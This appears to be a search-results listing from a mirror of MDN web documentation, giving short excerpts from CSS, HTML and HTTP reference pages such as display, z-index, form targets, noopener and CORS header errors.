display: inline is specified, will set the inner value to flow. this will result in expected behavior; for example if you specify an element to be block, you would expect that the children of that element would participate in block and inline normal flow layout. examples in the following example, span elements (normally displayed as inline elements) are set to display: block and so break onto
new lines and expand to fill their container in the inline dimension. html <span>span 1</span> <span>span 2</span> css span { display: block; border: 1px solid rebeccapurple; } result specifications specification status css display module level 3the definition of 'display-outside' in that specification. candidate recommendation ...
env() - CSS: Cascading Style Sheets
e var() function and custom properties. the difference is that, as well as being user-agent defined rather than user-defined, environment variables are globally scoped to a document, whereas custom properties are scoped to the element(s) on which they are declared. ...
flex-basis - CSS: Cascading Style Sheets
f auto. history: originally, flex-basis:auto meant "look at my width or height property". then, flex-basis:auto was changed to mean automatic sizing, and "main-size" was introduced as the "look at my width or height property" keyword. it was implemented in bug 1032922. then, that change was reverted in bug 1093316, so auto once again means "look at my width or height property"; and a
new content keyword is being introduced to trigger automatic sizing. (bug 1105111 covers adding that keyword). formal definition initial valueautoapplies toflex items, including in-flow pseudo-elementsinheritednopercentagesrefer to the flex container's inner main sizecomputed valueas specified, but with relative lengths converted into absolute lengthsanimation typea length, percentage or cal...
font-size-adjust - CSS: Cascading Style Sheets
-family: times, serif; font-size-adjust: 0.58; font-size: 10px; } results specifications specification status comment css fonts module level 3the definition of 'font-size-adjust' in that specification. candidate recommendation initial definition the css property font-size-adjust was initially defined in css 2, but dropped in css 2.1. it has been
newly defined in css 3. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung inte...
font-variant - CSS: Cascading Style Sheets
font variant html <p class="normal">firefox rocks!</p> <p class="small">firefox rocks!</p> css p.normal { font-variant: normal; } p.small { font-variant: small-caps; } result specifications specification status comment css fonts module level 3the definition of 'font-variant' in that specification. candidate recommendation made it a shorthand of the
new font-variant-* properties. css level 2 (revision 1)the definition of 'font-variant' in that specification. recommendation no change css level 1the definition of 'font-variant' in that specification. recommendation initial definition browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to th...
grid-auto-flow - CSS: Cascading Style Sheets
-auto-flow: column; grid-auto-flow: dense; grid-auto-flow: row dense; grid-auto-flow: column dense; /* global values */ grid-auto-flow: inherit; grid-auto-flow: initial; grid-auto-flow: unset; this property may take one of two forms: a single keyword: one of row, column, or dense. two keywords: row dense or column dense. values row items are placed by filling each row in turn, adding
new rows as necessary. if neither row nor column is provided, row is assumed. column items are placed by filling each column in turn, adding
new columns as necessary. dense "dense" packing algorithm attempts to fill in holes earlier in the grid, if smaller items come up later. this may cause items to appear out-of-order, when doing so would fill in holes left by larger items. if it is omitted,...
line-break - CSS: Cascading Style Sheets
tion and symbols. /* keyword values */ line-break: auto; line-break: loose; line-break: normal; line-break: strict; line-break: anywhere; /* global values */ line-break: inherit; line-break: initial; line-break: unset; syntax values auto break text using the default line break rule. loose break text using the least restrictive line break rule. typically used for short lines, such as in
newspapers. normal break text using the most common line break rule. strict break text using the most stringent line break rule. anywhere there is a soft wrap opportunity around every typographic character unit, including around any punctuation character or preserved white spaces, or in the middle of words, disregarding any prohibition against line breaks, even those introduced by characters ...
list-style-type - CSS: Cascading Style Sheets
: none; } ul li::before { content: "\200b"; } voiceover and list-style-type: none – unfettered thoughts mdn understanding wcag, guideline 1.3 explanations understanding success criterion 1.3.1 | w3c understanding wcag 2.0 formal definition initial valuediscapplies tolist itemsinheritedyescomputed valueas specifiedanimation typediscrete formal syntax <counter-style> | <string> | no
newhere <counter-style> = <counter-style-name> | symbols()where <counter-style-name> = <custom-ident> examples setting list item markers html list 1 <ol class="normal"> <li>hello</li> <li>world</li> <li>what's up?</li> </ol> list 2 <ol class="shortcut"> <li>looks</li> <li>like</li> <li>the</li> <li>same</li> </ol> css ol.normal { list-style-type: upper-alpha; } /* or use the s...
object-fit - CSS: Cascading Style Sheets
<img class="none narrow" src="https://udn.realityripple.com/samples/ae/248a9938d9.png" alt="mdn logo"> <h2>object-fit: scale-down</h2> <img class="scale-down" src="https://udn.realityripple.com/samples/ae/248a9938d9.png" alt="mdn logo"> <img class="scale-down narrow" src="https://udn.realityripple.com/samples/ae/248a9938d9.png" alt="mdn logo"> </section> css h2 { font-family: courier
new, monospace; font-size: 1em; margin: 1em 0 0.3em; } div { display: flex; flex-direction: column; flex-wrap: wrap; align-items: flex-start; height: 940px; } img { width: 150px; height: 100px; border: 1px solid #000; } .narrow { width: 100px; height: 150px; margin-top: 10px; } .fill { object-fit: fill; } .contain { object-fit: contain; } .cover { object-fit: cov...
opacity - CSS: Cascading Style Sheets
que (visually solid). description opacity applies to the element as a whole, including its contents, even though the value is not inherited by child elements. thus, the element and its children all have the same opacity relative to the element's background, even if they have different opacities relative to one another. using opacity with a value other than 1 places the element in a
new stacking context. if you do not want to apply opacity to child elements, use the background property instead. for example: background: rgba(0, 0, 0, 0.4); accessibility concerns if text opacity is adjusted, it is important to ensure that the contrast ratio between the color of the text and the background the text is placed over is high enough that people experiencing low vision conditions wil...
overflow-block - CSS: Cascading Style Sheets
ed if necessary to fit in the block dimension in the padding box. browsers display scrollbars whether or not any content is actually clipped. (this prevents scrollbars from appearing or disappearing when the content changes.) printers may still print overflowing content. auto depends on the user agent. if content fits inside the padding box, it looks the same as visible, but still establishes a
new block-formatting context. desktop browsers provide scrollbars if content overflows. formal definition initial valueautoapplies toblock-containers, flex containers, and grid containersinheritednocomputed valueas specified, except with visible/clip computing to auto/hidden respectively if one of overflow-x or overflow-y is neither visible nor clipanimation typediscrete formal syntax visible | ...
overflow-inline - CSS: Cascading Style Sheets
d if necessary to fit in the padding box in the inline dimension. browsers display scrollbars whether or not any content is actually clipped. (this prevents scrollbars from appearing or disappearing when the content changes.) printers may still print overflowing content. auto depends on the user agent. if content fits inside the padding box, it looks the same as visible, but still establishes a
new block-formatting context. desktop browsers provide scrollbars if content overflows. formal definition initial valueautoapplies toblock-containers, flex containers, and grid containersinheritednocomputed valueas specified, except with visible/clip computing to auto/hidden respectively if one of overflow-x or overflow-y is neither visible nor clipanimation typediscrete formal syntax visible | ...
page-break-after - CSS: Cascading Style Sheets
always page formal definition initial valueautoapplies toblock-level elements in the normal flow of the root element. user agents may also apply it to other elements like table-row elements.inheritednocomputed valueas specifiedanimation typediscrete formal syntax auto | always | avoid | left | right | recto | verso examples setting a page break after footnotes /* move to a
new page after footnotes */ div.footnotes { page-break-after: always; } specifications specification status comment css logical properties and values level 1the definition of 'recto and verso' in that specification. editor's draft adds the values recto and verso. css paged media module level 3the definition of 'page-break-after' in that specification. ...
perspective - CSS: Cascading Style Sheets
e of this property. the parts of the 3d elements that are behind the user — i.e. their z-axis coordinates are greater than the value of the perspective css property — are not drawn. the vanishing point is by default placed at the center of the element, but its position can be changed using the perspective-origin property. using this property with a value different than 0 and none creates a
new stacking context. also, in that case, the object will act as a containing block for position: fixed elements that it contains. formal definition initial valuenoneapplies totransformable elementsinheritednocomputed valuethe absolute length or noneanimation typea lengthcreates stacking contextyes formal syntax none | <length> examples setting perspective this example shows a cube with the pe...
text-decoration - CSS: Cascading Style Sheets
the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. text decorations are drawn across descendant text elements. ...
rotate() - CSS: Cascading Style Sheets
; background-color: skyblue; } .rotated { transform: rotate(45deg); /* equal to rotatez(45deg) */ background-color: pink; } result combining rotation with another transformation if you want apply multiple transformations to an element, be careful about the order in which you specify your transformations. ...
transition-duration - CSS: Cascading Style Sheets
declaration stays valid. syntax /* <time> values */ transition-duration: 6s; transition-duration: 120ms; transition-duration: 1s, 15s; transition-duration: 10s, 30s, 230ms; /* global values */ transition-duration: inherit; transition-duration: initial; transition-duration: unset; values <time> is a <time> denoting the amount of time the transition from the old value of a property to the
new value should take. a time of 0s indicates that no transition will happen, that is the switch between the two states will be instantaneous. a negative value for the time renders the declaration invalid. formal definition initial value0sapplies toall elements, ::before and ::after pseudo-elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax <time># examples tran...
var() - CSS: Cascading Style Sheets
resented by an identifier that starts with two dashes. custom properties are solely for use by authors and users; css will never give them a meaning beyond what is presented here. <declaration-value> the custom property's fallback value, which is used in case the custom property is invalid in the used context. this value may contain any character except some characters with special meaning like
newlines, unmatched closing brackets, i.e. ), ], or }, top-level semicolons, or exclamation marks. examples :root { --main-bg-color: pink; } body { background-color: var(--main-bg-color); } /* fallback */ /* in the component’s style: */ .component .header { color: var(--header-color, blue); /* header-color isn’t set, and so remains blue, the fallback value */ } .component .text { c...
widows - CSS: Cascading Style Sheets
top of a page, region, or column. /* <integer> values */ widows: 2; widows: 3; /* global values */ widows: inherit; widows: initial; widows: unset; in typography, a widow is the last line of a paragraph that appears alone at the top of a page. (the paragraph is continued from a prior page.) syntax values <integer> the minimum number of lines that can stay by themselves at the top of a
new fragment after a fragmentation break. the value must be positive. formal definition initial value2applies toblock container elementsinheritedyescomputed valueas specifiedanimation typediscrete formal syntax <integer> examples controlling column widows html <div> <p>this is the first paragraph containing some text.</p> <p>this is the second paragraph containing some more text than the...
will-change - CSS: Cascading Style Sheets
it indicates the expectation for all the longhands the shorthand expands to. it cannot be one of the following values: unset, initial, inherit, will-change, auto, scroll-position, or contents. the spec doesn't define the behavior of particular value, but it is common for transform to be a compositing layer hint. chrome currently takes two actions, given particular css property idents: establish a
new compositing layer or a
new stacking context. via stylesheet it may be appropriate to include will-change in your style sheet for an application that does page flips on key presses like an album or a slide deck presentation where the pages are large and complex. this will let browser prepare the transition ahead of time and allow for snappy transitions between the pages as soon as the key is pr...
z-index - CSS: Cascading Style Sheets
stablishes a local stacking context. syntax /* keyword value */ z-index: auto; /* <integer> values */ z-index: 0; z-index: 3; z-index: 289; z-index: -1; /* negative values to lower the priority */ /* global values */ z-index: inherit; z-index: initial; z-index: unset; the z-index property is specified as either the keyword auto or an <integer>. values auto the box does not establish a
new local stacking context. the stack level of the generated box in the current stacking context is the same as its parent's box. <integer> this <integer> is the stack level of the generated box in the current stacking context. the box also establishes a local stacking context in which its stack level is 0. this means that the z-indexes of descendants are not compared to the z-indexes of elements o...
CSS: Cascading Style Sheets
. from css3, the scope of the specification increased significantly and the progress on different css modules started to differ so much, that it became more effective to develop and release recommendations separately per module. instead of versioning the css specification, w3c now periodically takes a snapshot of the latest stable state of the css specification. css introduction if you're
new to web development, be sure to read our css basics article to learn what css is and how to use it. css tutorials our css learning area contains a wealth of tutorials to take you from beginner level to proficiency, covering all the fundamentals. css reference our exhaustive css reference for seasoned web developers describes every property and concept of css. looking to become a fro...
Community - Developer guides
if you know of useful mailing lists,
newsgroups, forums, or other communities related to ajax, please link to them here. ajax resources ajax workshops and courses skillsmatter.com: courses and events on javascript, ajax, and reverse ajax technologies telerik.com: an active community forum for ajax community.tableau.com: community support forum and courses available for ajax codementor.io: social platform with ajax forums and tutorials lynda.com: tutorials available for learning the fundamentals of ajax ajax interview questions and answer and answerinterwiki links ...
Cross-browser audio basics - Developer guides
cript in addition to being able to specify various attributes in html, the <audio> element comes complete with several properties and methods that you can manipulate via javascript. given the following html: <audio id="my-audio" src="audiofile.mp3"> ... </audio> you can grab the <audio> element like this: var myaudio = document.getelementbyid('my-audio'); alternatively, you can create a
new element. here's an example of creating an <audio> element, setting the media to play, playing and pausing, and then playing from 5 seconds into the audio: var myaudio = document.createelement('audio'); if (myaudio.canplaytype('audio/mpeg')) { myaudio.setattribute('src','audiofile.mp3'); } if (myaudio.canplaytype('audio/ogg')) { myaudio.setattribute('src','audiofile.ogg'); } alert('play');...
Live streaming web audio and video - Developer guides
s the process of consuming a live stream sometime after it happened. video streaming file formats a couple of http-based live streaming video formats are beginning to see support across browsers. note: you can find a guide to encoding hls and mpeg-dash for use on the web at setting up adaptive streaming media sources. mpeg-dash dash stands for dynamic adaptive streaming over http and is a
new format that has recently seen support added to chrome, and internet explorer 11 running on windows 8.1. it is supported via media source extensions which are used by javascript libraries such as dash.js. this approach allows us to download chunks of the video stream using xhr and "append" the chunks to the stream that's played by the <video> element. so for example, if we detect that the network ...
Mutation events - Developer guides
ified domelementnamechanged domnodeinserted domnodeinsertedintodocument domnoderemoved domnoderemovedfromdocument domsubtreemodified mutation observers alternatives examples domnoderemovedfromdocument var isdescendant = function (desc, root) { return !!desc && (desc === root || isdescendant(desc.parentnode, root)); }; var onremove = function (element, callback) { var observer =
new mutationobserver(function (mutations) { _.foreach(mutations, function (mutation) { _.foreach(mutation.removednodes, function (removed) { if (isdescendant(element, removed)) { callback(); // allow garbage collection observer.disconnect(); observer = undefined; } ...
Event developer guide - Developer guides
occur in the lifetime of a web page and to the naming, characterization, and use of a large number of incidents of different types. the overview page provides an introduction to the design pattern and a summary of the types of incidents which are defined and reacted to by modern web browsers. the custom events page describes how the event code design pattern can be used in custom code to define
new event types emitted by user objects, register listener functions to handle those events, and trigger the events in user code. the remaining pages describe how to use events of different kinds defined by web browsers. unfortunately, these events have been defined piece by piece as web browsers have evolved so that there is no satisfying systematic characterization of the events built-in or define...
Introduction to Web development - Developer guides
for another (overlapping) set of links to learning resources, see the mdn learning pages. note: the recommended resources on this page are subject to change. documentation topics html the basics of hypertext mark-up langage (html) — what exactly is html? basic structure of a web page — the doctype and document 'tree' fundamental html elements — structural, head, list, form elements and more, explained by category. ...
Separate sites for mobile and desktop - Developer guides
erent pages for every page on your site that you would like to expose to mobile users. if you are using a cms, it is possible to arrange your site templates in a way that minimizes this duplication. however any time that there is a difference between the mobile and desktop templates, there is a potential source of complication in your code. similarly, this increases the implementation time of any
new site features, since you must now code two sets of front-end logic. even more important than that, though, is the fact that user-agent detection is inherently flawed, and anything but future-proof. every time a
new browser comes out, you must adjust your algorithm to accommodate it. and false positives are particularly scary — it could be embarrassing to serve desktop users your mobile site acc...
Developer guides
l. audio and video delivery we can deliver audio and video on the web in several ways, ranging from 'static' media files to adaptive live streams. this article is intended as a starting point for exploring the various delivery mechanisms of web-based media and compatibility with popular browsers. audio and video manipulation the beauty of the web is that you can combine technologies to create
new forms. having native audio and video in the browser means we can use these data streams with technologies such as <canvas>, webgl or web audio api to modify audio and video directly, for example adding reverb/compression effects to audio, or grayscale/sepia filters to video. this article provides a reference to explain what you need to do. events developer guide events refer to two things: a de...
<abbr>: The Abbreviation element - HTML: Hypertext Markup Language
reviation in full the first time it is used on a page is beneficial for helping people understand it, especially if the content is technical or industry jargon. example <p>javascript object notation (<abbr>json</abbr>) is a lightweight data-interchange format.</p> this is especially helpful for people who are unfamiliar with the terminology or concepts discussed in the content, people who are
new to the language, and people with cognitive concerns. specifications specification status comment html living standardthe definition of '<abbr>' in that specification. living standard html5the definition of '<abbr>' in that specification. recommendation html 4.01 specificationthe definition of '<abbr>' in that specification. recommen...
<audio>: The Embed Audio element - HTML: Hypertext Markup Language
these events aren't sent directly to the <audio> element itself. instead, they're sent to the track list object within the <audio> element's htmlmediaelement that corresponds to the type of track that was added to the element: htmlmediaelement.audiotracks an audiotracklist containing all of the media element's audio tracks. you can add a listener for addtrack to this object to be alerted when
new audio tracks are added to the element. htmlmediaelement.videotracks add an addtrack listener to this videotracklist object to be informed when video tracks are added to the element. htmlmediaelement.texttracks add an addtrack event listener to this texttracklist to be notified when
new text tracks are added to the element. note: even though it's an <audio> element, it still has video and t...
<base>: The Document Base URL element - HTML: Hypertext Markup Language
he document for relative urls. absolute and relative urls are allowed. target a keyword or author-defined name of the default browsing context to show the results of navigation from <a>, <area>, or <form> elements without explicit target attributes. the following keywords have special meanings: _self (default): show the result in the current browsing context. _blank: show the result in a
new, unnamed browsing context. _parent: show the result in the parent browsing context of the current one, if the current page is inside a frame. if there is no parent, acts the same as _self. _top: show the result in the topmost browsing context (the browsing context that is an ancestor of the current one and has no parent). if there is no parent, acts the same as _self. usage notes multi...
<basefont> - HTML: Hypertext Markup Language
d it in the same way: practically, using it has always brought indeterminate results. the <basefont> element was deprecated in the standard at the same time as all elements related to styling only. starting with html 4, html does not convey styling information anymore (outside the <style> element or the style attribute of each element). in html5, this element has been removed completely. for any
new web development, styling should be written using css only. the former behavior of the <font> element can be achieved, and even better controlled using the css fonts properties. dom interface this element implements the htmlbasefontelement interface. example <basefont color="#ff0000" face="helvetica" size="+2" /> ...
<button>: The Button element - HTML: Hypertext Markup Language
rm. this is the name of, or keyword for, a browsing context (a tab, window, or <iframe>). if this attribute is specified, it overrides the target attribute of the button's form owner. the following keywords have special meanings: _self: load the response into the same browsing context as the current one. this is the default if the attribute is not specified. _blank: load the response into a
new unnamed browsing context — usually a
new tab or window, depending on the user’s browser settings. _parent: load the response into the parent browsing context of the current one. if there is no parent, this option behaves the same way as _self. _top: load the response into the top-level browsing context (that is, the browsing context that is an ancestor of the current one, and has no paren...
<data> - HTML: Hypertext Markup Language
a role no corresponding role permitted aria roles any dom interface htmldataelement attributes this element's attributes include the global attributes. value this attribute specifies the machine-readable translation of the content of the element. examples the following example displays product names but also associates each name with a product number. <p>
new products</p> <ul> <li><data value="398">mini ketchup</data></li> <li><data value="399">jumbo ketchup</data></li> <li><data value="400">mega jumbo ketchup</data></li> </ul> specifications specification status comment html living standardthe definition of '<data>' in that specification. living standard no change from html5 html5the definition of '<da...
<em>: The Emphasis element - HTML: Hypertext Markup Language
the css font-style property for that purpose. use the <cite> element to mark the title of a work (book, play, song, etc.). use the <i> element to mark text that is in an alternate tone or mood, which covers many common situations for italics such as scientific names or words in other languages. use the <strong> element to mark text that has greater importance than surrounding text. <i> vs. <em>
new developers are often confused at seeing multiple elements that produce similar results. <em> and <i> are a common example, since they both italicize text. what's the difference? which should you use? by default, the visual result is the same. however, the semantic meaning is different. the <em> element represents stress emphasis of its contents, while the <i> element represents text that is set ...
<font> - HTML: Hypertext Markup Language
efines the font size, color and face for its content. usage note: do not use this element! though once normalized in html 3.2, it was deprecated in html 4.01, at the same time as all elements related to styling only, then made obsolete in html5. starting with html 4, html does not convey styling information anymore (outside the <style> element or the style attribute of each element). for any
new web development, styling should be written using css only. the former behavior of the <font> element can be achieved, and even better controlled using the css fonts css properties. attributes like all other html elements, this element supports the global attributes. color this attribute sets the text color using either a named color or a color specified in the hexadecimal #rrggbb format. ...
<footer> - HTML: Hypertext Markup Language
in, navigation or region permitted aria roles group, presentation or none dom interface htmlelement attributes this element only includes the global attributes. usage notes enclose information about the author in an <address> element that can be included into the <footer> element. the <footer> element is not sectioning content and therefore doesn't introduce a
new section in the outline. examples <footer> some copyright info or perhaps some author info for an <article>? </footer> accessibility concerns the voiceover screen reader has an issue where the footer landmark role is not announced in the landmark rotor. to address this, add role="contentinfo" to the footer element. webkit bugzilla: 146930 – ax: html native elements (header, fo...
<form> - HTML: Hypertext Markup Language
age"> element belonging to the form. target indicates where to display the response after submitting the form. in html 4, this is the name/keyword for a frame. in html5, it is a name/keyword for a browsing context (for example, tab, window, or iframe). the following keywords have special meanings: _self (default): load into the same browsing context as the current one. _blank: load into a
new unnamed browsing context. _parent: load into the parent browsing context of the current one. if no parent, behaves the same as _self. _top: load into the top-level browsing context (i.e., the browsing context that is an ancestor of the current one and has no parent). if no parent, behaves the same as _self. this value can be overridden by a formtarget attribute on a <button>, <input type=...
<header> - HTML: Hypertext Markup Language
that said, a <header> element is intended to usually contain the surrounding section's heading (an h1–h6 element), but this is not required. historical usage although the <header> element didn't make its way into specifications until html5, it actually existed at the very beginning of html. as seen in the very first website, it was originally used as the <head> element...
<input type="button"> - HTML: Hypertext Markup Language
bpage as required when assigned an event handler function (typically for the click event). the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. note: while <input> elements of type button are still perfectly valid html, the
newer <button> element is now the favored way to create buttons. given that a <button>’s label text is inserted between the opening and closing tags, you can include html in the label, even images. value a domstring used as the button's label events click supported common attributes type, and value idl attributes value methods none ...
<input type="checkbox"> - HTML: Hypertext Markup Language
ed common attributes checked idl attributes checked, indeterminate and value methods select() value a domstring representing the value of the checkbox. this is never seen on the client-side, but on the server this is the value given to the data submitted with the checkbox's name. take the following example: <form> <div> <input type="checkbox" id="subscribe
news" name="subscribe" value="
newsletter"> <label for="subscribe
news">subscribe to
newsletter?</label> </div> <div> <button type="submit">subscribe</button> </div> </form> in this example, we've got a name of subscribe, and a value of
newsletter. when the form is submitted, the data name/value pair will be subscribe=
newsletter. if the value attribute was omitted, the default value f...
<input type="file"> - HTML: Hypertext Markup Language
size into a list item inside the previous <div> (obtained from file.name and file.size). the custom returnfilesize() function returns a nicely-formatted version of the size in bytes/kb/mb (by default the browser reports the size in absolute bytes). generate a thumbnail preview of the image by calling url.createobjecturl(curfiles[i]). then, insert the image into the list item too by creating a
new <img> and setting its src to the thumbnail. if the file type is invalid, we display a message inside a list item telling the user that they need to select a different file type. function updateimagedisplay() { while(preview.firstchild) { preview.removechild(preview.firstchild); } const curfiles = input.files; if(curfiles.length === 0) { const para = document.createelement...
<input type="submit"> - HTML: Hypertext Markup Language
the <form> that owns this input. in addition to the actual names of tabs, windows, or inline frames, there are a few special keywords that can be used: _self loads the response into the same browsing context as the one that contains the form. this will replace the current document with the received data. this is the default value used if none is specified. _blank loads the response into a
new, unnamed, browsing context. this is typically a
new tab in the same window as the current document, but may differ depending on the configuration of the user agent. _parent loads the response into the parent browsing context of the current one. if there is no parent context, this behaves the same as _self. _top loads the response into the top-level browsing context; this is the browsing conte...
<input type="url"> - HTML: Hypertext Markup Language
ata (or data which is too large, is of the wrong type, and so forth) is entered into your database. basic validation browsers that support the url input type automatically provide validation to ensure that only text that matches the standard format for urls is entered into the input box. the syntax of a url is fairly intricate. it's defined by whatwg's url living standard and is described for
newcomers in our article what is a url? making a url required as mentioned earlier, to make a url entry required before the form can be submitted (you can't leave the field blank), you just need to include the required attribute on the input. <form> <input id="myurl" name="myurl" type="url" required> <button>submit</button> </form> try submitting the above form with no value entered to se...
<input>: The Input (Form Input) element - HTML: Hypertext Markup Language
control receiving focus, the screen reader will not announce anything before the label, and the sighted user on a small device will equally miss the context created by the preceding content. capture introduced in the html media capture specification and valid for the file input type only, the capture attribute defines which media—microphone, video, or camera—should be used to capture a
new file for upload with file upload control in supporting scenarios. see the file input type. checked valid for both radio and checkbox types, checked is a boolean attribute. if present on a radio type, it indicates that that radio button is the currently selected one in the group of same-named radio buttons. if present on a checkbox type, it indicates that the checkbox is checked by default (...
<mark>: The Mark Text element - HTML: Hypertext Markup Language
to mark search results within a passage. <p>it is a dark time for the rebellion. although the death star has been destroyed, <mark class="match">imperial</mark> troops have driven the rebel forces from their hidden base and pursued them across the galaxy.</p> <p>evading the dreaded <mark class="match">imperial</mark> starfleet, a group of freedom fighters led by luke skywalker has established a
new secret base on the remote ice world of hoth.</p> to help distinguish the use of <mark> for search results from other potential usage, this example applies the custom class "match" to each match. the results look like this: accessibility concerns the presence of the mark element is not announced by most screen reading technology in its default configuration. it can be made to be announced by...
<strong>: The Strong Importance element - HTML: Hypertext Markup Language
tyling; use the css font-weight property for that purpose. use the <b> element to draw attention to certain text without indicating a higher level of importance. use the <em> element to mark text that has stress emphasis. another accepted use for <strong> is to denote the labels of paragraphs which represent notes or warnings within the text of a page. <b> vs. <strong> it is often confusing to
new developers why there are so many ways to express the same thing on a rendered website. <b> and <strong> are perhaps one of the most common sources of confusion, causing developers to ask "should i use <b> or <strong>? don't they both do the same thing?" not exactly. the <strong> element is for content that is of greater importance, while the <b> element is used to draw attention to text without ...
<u>: The Unarticulated Annotation (Underline) element - HTML: Hypertext Markup Language
lement that accepts phrasing content. implicit aria role no corresponding role permitted aria roles any dom interface htmlelement attributes this element only includes the global attributes. usage notes along with other pure styling elements, the original html underline (<u>) element was deprecated in html 4; however, <u> was restored in html 5 with a
new, semantic, meaning: to mark text as having some form of non-textual annotation applied. be careful to avoid using the <u> element with its default styling (of underlined text) in such a way as to be confused with a hyperlink, which is also underlined by default. use cases valid use cases for the <u> element include annotating spelling errors, applying a proper name mark to denote proper name...
dropzone - HTML: Hypertext Markup Language
the dropzone global attribute is an enumerated attribute indicating what types of content can be dropped on an element, using the html drag and drop api. it can have the following values: copy, which indicates that dropping will create a copy of the element that was dragged. move, which indicates that the element that was dragged will be moved to this
new location. link, which will create a link to the dragged data. specifications specification status comment html 5.1the definition of 'dropzone' in that specification. recommendation snapshot of html living standard, initial definition ...
is - HTML: Hypertext Markup Language
ument, and extends the element type it is being applied to. examples the following code is taken from our word-count-web-component example (see it live also). // create a class for the element class wordcount extends htmlparagraphelement { constructor() { // always call super first in constructor super(); // constructor contents ommitted for brevity ... } } // define the
new element customelements.define('word-count', wordcount, { extends: 'p' }); <p is="word-count"></p> specifications specification status comment html living standardthe definition of 'is' in that specification. living standard ...
title - HTML: Hypertext Markup Language
fallback for a real <label> labeling controls in data tables additional semantics are attached to the title attributes of the <link>, <abbr>, <input>, and <menuitem> elements. multiline titles the title attribute may contain several lines. each u+000a line feed (lf) character represents a line break. some caution must be taken, as this means the following renders across two lines: html <p>
newlines in <code>title</code> should be taken into account, like <abbr title="this is a multiline title">example</abbr>.</p> result title attribute inheritance if an element has no title attribute, then it inherits it from its parent node, which in turn may inherit it from its parent, and so on. if this attribute is set to the empty string, it means its ancestors' titles are irrelevant and sho...
Global attributes - HTML: Hypertext Markup Language
false, which indicates that the element may not be dragged. dropzone an enumerated attribute indicating what types of content can be dropped on an element, using the drag and drop api. it can have the following values: copy, which indicates that dropping will create a copy of the element that was dragged move, which indicates that the element that was dragged will be moved to this
new location. link, will create a link to the dragged data. exportparts used to transitively export shadow parts from a nested shadow tree into a containing light tree. hidden a boolean attribute indicates that the element is not yet, or is no longer, relevant. for example, it can be used to hide elements of the page that can't be used until the login process has been completed. the brows...
Link types: noopener - HTML: Hypertext Markup Language
the noopener keyword for the rel attribute of the <a>, <area>, and <form> elements instructs the browser to navigate to the target resource without granting the
new browsing context access to the document that opened it — by not setting the window.opener property on the opened window (it returns null). this is especially useful when opening untrusted links, in order to ensure they cannot tamper with the originating document via the window.opener property (see about rel=noopener for more details), while still providing the referer http header (unless noreferrer is used as well). note that when noopener is used, nonempty target names other than _top, _self, and _parent are all treated like _blank in terms of deciding whether to open a
new window/tab. specifications specif...
Quirks Mode and Standards Mode - HTML: Hypertext Markup Language
in the old days of the web, pages were typically written in two versions: one for netscape navigator, and one for microsoft internet explorer. when the web standards were made at w3c, browsers could not just start using them, as doing so would break most existing sites on the web. browsers therefore introduced two modes to treat
new standards compliant sites differently from old legacy sites. there are now three modes used by the layout engines in web browsers: quirks mode, almost standards mode, and full standards mode. in quirks mode, layout emulates nonstandard behavior in navigator 4 and internet explorer 5. this is essential in order to support websites that were built before the widespread adoption of web standards. in full standards mode, the behavior is (hopefully) the behavi...
Microformats - HTML: Hypertext Markup Language
s to assign values to their properties. the properties are carried in class attributes that can be added to any html element, while the data values re-use html element content and semantic attributes. microformats2 is an update to microformats that provides a simpler way of annotating html structured syntax & vocabularies than previous approaches of using rdfa and microdata which require learning
new attributes. microformats are supported by all major search engines. search engines benefit greatly from direct access to this structured data because it allows them to understand the information on web pages and provide more relevant results to users. in addition to being machine-readable, their format is designed to be easily read by humans. to create a microformats object, h-* class names a...
HTML: Hypertext Markup Language
m other text in a document by "tags", which consist of the element name surrounded by "<" and ">". the name of an element inside a tag is case insensitive. that is, it can be written in uppercase, lowercase, or a mixture. for example, the <title> tag can be written as <title>, <title>, or in any other way. the articles below can help you learn more about html. html introduction if you're
new to web development, be sure to read our html basics article to learn what html is and how to use it. html tutorials for articles about how to use html, as well as tutorials and complete examples, check out our html learning area. html reference in our extensive html reference section, you'll find the details about every element and attribute in html. looking to become a front-end w...
Resource URLs - HTTP
xtensions’ assets. now this behavior is prohibited by default. it is however still necessary for firefox to load resources in web content under certain circumstances. for example, if you open the view source page (view page source or view selection source), you will find it requires viewsource.css through a resource: uri. resources that have to be exposed to web content have been moved to a
new location named resource://content-accessible/, which is isolated and only contains non-sensitive resources. in this way we can keep essential resources exposed and have most threats eliminated. note: it is recommended that web and extension developers don’t try to use resource urls anymore. their usage was hacky at best, and most usage won’t work any more. specifications resource: is no...
Basics of HTTP - HTTP
articles overview of http describes what http is and its role in web architecture, including its position in the protocol stack. ...
Reason: CORS header 'Access-Control-Allow-Origin' does not match 'xyz' - HTTP
can also occur if the response includes more than one access-control-allow-origin header. if the service your code is accessing using a cors request is under your control, make sure that it's configured to include your origin in its access-control-allow-origin header, and that only one such header is included in responses. the header itself accepts a comma-delineated list of origins, so adding a
new origin is not difficult. for example, in apache, add a line such as the following to the server's configuration (within the appropriate <directory>, <location>, <files>, or <virtualhost> section). the configuration is typically found in a .conf file (httpd.conf and apache.conf are common names for these), or in an .htaccess file. header set access-control-allow-origin 'origin-list' for nginx, ...
Reason: CORS request not HTTP - HTTP
the page was opened. resources in the same directory and its subdirectories were treated as having the same origin for purposes of the cors same-origin rule. in response to cve-2019-11730, firefox 68 and later define the origin of a page opened using a file:/// uri as unique. therefore, other resources in the same directory or its subdirectories no longer satisfy the cors same-origin rule. this
new behavior is enabled by default using the privacy.file_unique_origin preference. ...
Content negotiation - HTTP
ble content directly, without more request to the server. obviously, the wildcard '*' prevents caching from occurring, as the cache cannot know what element is behind it. agent-driven negotiation server-driven negotiation suffers from a few downsides: it doesn't scale well. there is one header per feature used in the negotiation. if you want to use screen size, resolution or other dimensions, a
new http header must be created. sending of the headers must be done on every request. this is not too problematic with few headers, but with the eventual multiplications of them, the message size would lead to a decrease in performance. the more precise headers are sent, the more entropy is sent, allowing for more http fingerprinting and corresponding privacy concern. from the beginnings of http, t...
Using HTTP cookies - HTTP
